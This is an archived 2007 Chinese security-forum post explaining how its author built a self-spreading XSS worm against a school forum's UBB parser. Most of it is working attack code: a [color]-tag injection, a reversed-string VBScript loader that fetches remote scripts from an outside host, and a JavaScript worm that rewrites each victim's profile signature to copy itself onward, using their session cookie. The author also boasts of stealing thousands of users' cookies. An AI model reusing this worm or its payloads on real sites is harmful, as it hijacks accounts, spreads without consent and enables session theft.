邪恶八进制信息安全团队技术讨论组's Archiver

inking 2007-11-13 13:03

[原创]利用xss漏洞的web蠕虫的实现

议题作者:Inking
信息来源:邪恶八进制社区

比较讨厌打字,我就简单的说一下吧.
目标:学校自己写的论坛程序,经过了n年的风风雨雨了
漏洞描述:转换ubb的任务是在客户端完成的(js),虽然论坛程序对客户端提交的代码进行了转义(如:<>"&#39;等),但是却对ubb代码的属性的javascript字符进行转义,结果就导致了ubb漏洞,漏洞关键代码如下
[code]
pattern=/(\[URL\])(.[^\[]*)(\[\/URL\])/gi;
strContent= strContent.replace(pattern,"<A HREF=\"$2\" TARGET=_blank>$2</A>")
pattern=/\[color=(.[^\[]*)\](.*?)\[\/color\]/gi;
strContent=strContent.replace(pattern,"<span style=\"color:$1;\">$2</span>");
[/code]
我们再来看看插入html里面后是怎么样的,这里我插入的是签名档,其它地方也是一样的,查看页面源代码看到
[code]
<span id="ubbcode2" >[url=javascript:...]test[/url]</span><script>searchubb(&#39;ubbcode2&#39;,3,&#39;tablebody2&#39;);</script>
[/code]
这里的[url]ubb标签不是很好利用,因为他的TARGET=_blank,如果你写入javascript:alert(document.cookie)根本获取不到cookie,因为代码在空白页面中执行了,不过你可以写入javascript:window.location...不过不隐蔽,我们需要更加好的隐藏方式,找来找去唯有[color]这个标签比较好用.我们可以这样来进行闭合
[code]
[color=green" style="background:url(javascript:alert(/xss/))][//color]
[/code]
下面可以来写调用蠕虫的代码了.我这样写
[code]
set j=document.createElement(""script""):j.src=""http://xxx/a.js"":document.getElementById(""ubbcode1"").appendChild(j):set v=document.createElement(""script""):v.src=""http://xxx/vb.vbs"":v.language=""vbscript"":document.getElementById(""ubbcode1"").appendChild(v)
[/code]
但是这里问题有一个,刚才漏洞代码里面的url标签会干扰上面的代码里的"http://xxx/vb.vbs",误认为这句话也需要转换,所以上面的代码就出错了.解决的方法有两个1是将上面的代码用10进制转换,然后再用String.fromCharCode转换回来,在eval执行,不过这样转换后的代码太长了,想做蠕虫不适合.所以找了一个晚上找到了这么一个解决办法:不要js,用vbs,先将代码倒着写,然后用StrReverse倒回来,再execute执行,这样那个正则就不会看到http这个字符了,程序完美的执行,代码如下
[code]
[color=green" style=&#39;background:url(vbscript:execute(StrReverse(")v(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""tpircsbv""=egaugnal.v:""gpj.sbv/xxx//:ptth""=crs.v:)""tpircs""(tnemelEetaerc.tnemucod=v tes:)j(dlihCdneppa.)""1edocbbu""(dIyBtnemelEteg.tnemucod:""gpj.sj/xxx//:ptth""=crs.j:)""tpircs""(tnemelEetaerc.tnemucod=j tes")))&#39;][/color]
[/code]
这里调用了两个文件,一个是js文件,另一个是vbs文件,这两个就是蠕虫程序了两个文件的代码如下
[code]
//worm.js
function makeRequest(method,url,data){
  http_request = false;
  if (window.XMLHttpRequest){ // Mozilla, Safari,...
    http_request = new XMLHttpRequest();
    if (http_request.overrideMimeType){
      http_request.overrideMimeType(&#39;text/xml&#39;);
    }
  }else if (window.ActiveXObject) { // IE
    try {
      http_request = new ActiveXObject("Msxml2.XMLHTTP");
    } catch (e) {
      try {
        http_request = new ActiveXObject("Microsoft.XMLHTTP");
      } catch (e) {}
    }
  }
  if (!http_request) {
    alert(&#39;Giving up :( Cannot create an XMLHTTP instance&#39;);
    return false;
  }
  method==&#39;GET&#39;?http_request.onreadystatechange = alertContents:http_request.onreadystatechange=postback;
  http_request.open(method, url, true);
  if(method==&#39;POST&#39;){
    http_request.setRequestHeader("content-length",data.length);
    http_request.setRequestHeader("content-type","application/x-www-form-urlencoded");
  }
  http_request.send(data);
}

function alertContents() {
  if (http_request.readyState == 4) {
    if (http_request.status == 200) {
      content=bytes2BSTR(http_request.responseBody);
      pattern=/name=\"title\" value\=\"(.*?)\"/gi;//匹配头衔
      re=pattern.exec(content);
      title=re[1];
      pattern=/value=\"([01])\" checked name=\"Sex\"|name=\"Sex\" checked value=\"([01])\"/gi;//匹配性别
      re=pattern.exec(content);
      Sex=re[1]==&#39;&#39;?re[2]:re[1];
      pattern=/onclick=\"birth_ctrl\(\)\" ([checked=\"]*?) \/>/gi;//匹配用户生日是否为空
      re=pattern.exec(content);
      isbirthnull=re[1]==&#39;&#39;?&#39;&#39;:&#39;null&#39;;
      if(isbirthnull==&#39;&#39;){
        pattern=/\<option value=\"([0-9]{4})\" selected\>/gi;//匹配出生年
        re=pattern.exec(content);
        birthyear=re[1];
        pattern=/\<option value=\"([0-9]{1,2})\" selected\>/gi;//匹配出生月日
        var inre=1;
        while((re=pattern.exec(content))!=null){
          inre==1?birthmonth=re[1]:birthday=re[1];
          inre++;
        }
      }
      else{
        birthyear=&#39;&#39;;
        birthmonth=&#39;&#39;;
        birthday=&#39;&#39;;
      }
      pattern=/name=\"myface\" size=30 maxlength=100 value=(.*?)>/gi;//匹配用户头像
      re=pattern.exec(content);
      myface=re[1];
      pattern=/name=\"width\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像宽度
      re=pattern.exec(content);
      width=re[1];
      pattern=/name=\"height\" size=3 maxlength=3 value=([0-9]*?)>/gi;//匹配用户头像高度
      re=pattern.exec(content);
      height=re[1];
      pattern=/name=\"userphoto\" value=\"(.*?)\"/gi;//匹配用户照片
      re=pattern.exec(content);
      userphoto=re[1];
      pattern=/name=\"groupname\" value=\"(.*?)\"/gi;//匹配用户门派
      re=pattern.exec(content);
      groupname=re[1];
      pattern=/wrap=PHYSICAL\>(.*?)\<\/textarea\>/gi;//匹配签名内容
      re=pattern.exec(content);
      Signature=re[1];
      pattern=/name=\"usercookies\" value=\"([0-9])\" checked/gi;//匹配用户cookies
      re=pattern.exec(content);
      usercookies=re[1];
      pattern=/name=setuserinfo value=([0-1]) checked/gi;//匹配用户保密
      re=pattern.exec(content);
      setuserinfo=re[1];
      extras="%5Bcolor%3Dgreen%22%20style%3D%27background%3Aurl%28vbscript%3Aexecute%28StrReverse%28%22%29v%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22tpircsbv%22%22%3Degaugnal.v%3A%22%22gpj.sbv/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.v%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dv%20tes%3A%29j%28dlihCdneppa.%29%22%221edocbbu%22%22%28dIyBtnemelEteg.tnemucod%3A%22%22gpj.sj/CIP/sbb/gnauhcnay/nc.ude.ujz.bgy//%3Aptth%22%22%3Dcrs.j%3A%29%22%22tpircs%22%22%28tnemelEetaerc.tnemucod%3Dj%20tes%22%29%29%29%27%5D%5B/color%5D";
      //extras=URLEncoding(extras);
      if(Signature.indexOf("StrReverse")>-1){
        return false;
      }
      face=&#39;gg1.gif&#39;;
      post=&#39;title=&#39;+title+&#39;&Sex=&#39;+Sex+&#39;&isbirthnull=&#39;+isbirthnull+&#39;&birthyear=&#39;+birthyear+&#39;&birthmonth=&#39;+birthmonth+&#39;&birthday=&#39;+birthday+&#39;&face=&#39;+face+&#39;&myface=&#39;+myface+&#39;&width=&#39;+width+&#39;&height=&#39;+height+&#39;&userphoto=&#39;+userphoto+&#39;&groupname=&#39;+groupname+&#39;&Signature=&#39;+Signature+&#39;%20&#39;+extras+&#39;&usercookies=&#39;+usercookies+&#39;&setuserinfo=&#39;+setuserinfo+&#39;&Submit=&#39;+escape(&#39;更 新&#39;);
      cookies=document.cookie.split(";");
      for(var i=0;i<cookies.length;i++){
        if(cookies[i].indexOf(&#39;userid&#39;)>-1)
          uc=cookies[i];
      }
      uc=uc.split("&");
      for(var i=0;i<uc.length;i++){
        if(uc[i].indexOf(&#39;userid&#39;)>-1)
          uid=uc[i];
      }
      post=URLEncoding(post);
      url=&#39;http://10.71.45.98/mymodify.asp?action=updat&&#39;+uid;
      makeRequest(&#39;POST&#39;,url,post);
    } else {
      alert(&#39;There was a problem with the request.&#39;);
    }
  }
}

function postback(){
}
var http_request = false;
var url=&#39;http://10.71.45.98/mymodify.asp&#39;;
makeRequest(&#39;GET&#39;,url,null);


[/code]
[code]
&#39;worm.vbs
&#39;以下函数是uft8和gbk的转码函数,为了返回的内容是对的
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function

&#39;以下函数为url编码函数,这个是为了post过去的函数是对的
Function URLEncoding(vstrIn)
strReturn = ""
For i = 1 To Len(vstrIn)
ThisChr = Mid(vStrIn,i,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn = strReturn & ThisChr
Else
innerCode = Asc(ThisChr)
If innerCode < 0 Then
innerCode = innerCode + &H10000
End If
Hight8 = (innerCode And &HFF00)\ &HFF
Low8 = innerCode And &HFF
strReturn = strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding = strReturn
End Function
[/code]
其中对vbs文件进行简单的说明,由于ajax只认识uft-8,所以返回或者接收到的都会是乱码,所以需要这个vbs进行转码,然后再urlencode进行post
下面对js文件进行详细的说明
对于makeRequest这个自定义函数只要学过ajax的都知道,这个是主要代码,哪里都差不多,所以就不说了.
alertContents函数是对返回的数据进行正则匹配,筛选出要的数据备用具体工作的流程是这样的:
由于我是将蠕虫代码插入到个人签名里面的,所以首先get到[url]http://10.71.45.98/mymodify.asp[/url]地址(个人签名修改页),用来get的函数是makeRequest(),然后makeRequest函数将返回的数据传给alertContents()函数,alertContents函数对mymodify.asp的内容进行正则匹配,得到用户原来的个性签名,出生年月等信息,毕竟我们在插入代码的时候要保证用户原来的信息的完整性,这样才能达到隐蔽的效果.得到这些信息后alertContents函数再将我的恶意代码连同用户原来的信息post到[url]http://10.71.45.98/mymodify.asp?action=updat&uid=xxxx[/url]这个页面上去,这样就修改了用户数据,插入了蠕虫传染代码,变量extras的值就是蠕虫传播代码,经过了escape加密的,这样是为了防止程序出错,post上去的数据能够保持完整.
好了代码其实都很简单,里面也没有什么破坏的代码,甚至连个弹窗的代码,毕竟这个论坛不是那么好搞的,万一被查,我就卷铺盖走人了.利用方式也很简单,将上面的上面的上面的代码先插入到某个人的签名档里面,然后只要他去发帖,别人点了后马上感染,然后再感染.这个漏洞还是比较隐蔽的,按照上面的代码没有任何异常的现象.
本来想贴几张图的,没想到是知道的我的事情的人太多了还是之前自己在盗cookie的时候被发现了(那cookie的量可是相当的大,几千个呵呵),在写这篇文章的时候漏洞居然给补上了,我寒.有鸡蛋就扔过来吧

页: [1]
© 1999-2008 EvilOctal Security Team